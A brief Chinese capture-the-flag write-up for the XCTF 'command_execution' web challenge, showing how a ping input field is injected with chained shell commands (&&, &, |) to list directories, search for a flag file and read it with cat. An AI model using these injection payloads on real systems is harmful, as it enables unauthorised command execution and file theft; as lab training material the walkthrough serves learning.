WEB:command_execution

前提知识

        命令执行漏洞

        ping

题目

 

先尝试ping一下主机

ping 127.0.0.1

 用&&将其截断，并用试一下ls命令能不能运行

127.0.0.1&&ls

 

 显示ls可以被运行，寻找文件名包含flag的文件

补充寻找文件的命令：

find / -name "flag*"

即命令为（三种）

①127.0.0.1 && find / -name "flag*"
②127.0.0.1 & find / -name flag.txt
③127.0.0.1 | find / -name flag.txt

找到了所在目录

再使用linux系统下的cat命令查看flag.txt文件内容 

127.0.0.1 & cat /home/flag.txt
127.0.0.1 && cat /home/flag.txt
127.0.0.1 | cat /home/flag.txt

拿到flag

 参考链接：

xctfcommand_execution_rrorb的博客-CSDN博客

攻防世界：command_execution_留将一面与花的博客-CSDN博客